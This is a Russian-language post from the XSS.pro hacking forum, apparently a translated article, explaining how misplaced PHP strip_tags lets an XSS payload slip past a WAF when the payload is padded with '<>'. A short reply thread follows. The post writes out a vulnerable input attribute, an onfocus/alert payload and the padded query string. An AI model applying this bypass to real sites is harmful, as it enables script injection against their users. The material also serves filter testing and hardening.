• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Злоупотребление PHP strip_tags для обхода WAF (для эксплуатирования XSS)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
PHP предлагает множество вариантов, которые помогут вам предотвратить атаки XSS. Вот некоторые из них:
PHP:
    strip_tags(...)
    htmlentities(...)
    htmlspecialchars(...)
    filter_input(...)
    urlencode(...)
Может быть трудно определить, какие из этих функций используются в тестируемом приложении. Они также могут быть использованы для предотвращения атак XSS.

Как обнаружить strip_tags через
  1. Все между < и > удалено.
  2. Особый случай, когда существует только открывающий тег, < но не закрывающий >. В этом случае, все после < будет обрезано.
Примеры:
strip_tags("foo<bar>") => "foobar"
strip_tags("foo<bar.....") => "foo"
strip_tags("foobar>") => "foobar>"


Как обойти strip_tags?

Допустим, вы нашли параметр, который уязвим для XSS.
PHP:
    <input class="input" data-id="{XSS}" value="test" />

Попробуйте простой пейлоад:
PHP:
    <input class="input" data-id="" autofocus onfocus=alert(1) value="test" />

Ииии...
Код:
Result: Error 500: Blocked by WAF…

Поиск методов обхода WAF часто бывает утомительным. Допустим, код PHP выглядит примерно так
PHP:
    <input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" />

Иногда мы можем злоупотреблять strip_tags, если он используется в неправильном контексте, как в этом случае.

Поскольку мы находимся в контексте атрибута, нам не нужно открывать какие-либо теги (<..>) для нашей полезной нагрузки. Смотрим на нашу полезную нагрузку, " autofocus onfocus=alert(1) которая была заблокирована WAF.

Что произойдет, если мы применим <> к нашей полезной нагрузке:
PHP:
    /?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>)
  1. WAF пропустит эту полезную нагрузку, поскольку это просто бред.
  2. PHP видит нашу полезную нагрузку и применяется strip_tags к нашей строке и удаляет все <>.
  3. Наша полезная нагрузка вызовет XSS:
PHP:
    <input class="input" data-id="" autofocus onfocus=alert(1) value="test" />

Резюме

Если strip_tags используется в неправильном контексте, мы можем злоупотребить этим, добавив <> к нашей полезной нагрузке, что заставит WAF пропустить данный пейлоад. Когда PHP позже обработает нашу полезную нагрузку, он удалит все <> и, таким образом, пропустит наш боевой XSS пейлоад.


Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro
 
Простите меня за тупость, но как связанны php функции и waf?
очень странная подача в статье.
Тем что WAF пропускает конструкцию, а strip_tags, вырезает скобки, тем самым делает конструкцию валидной для работы.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тем что WAF пропускает конструкцию, а strip_tags, вырезает скобки, тем самым делает конструкцию валидной для работы.
Ну да, точняк
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх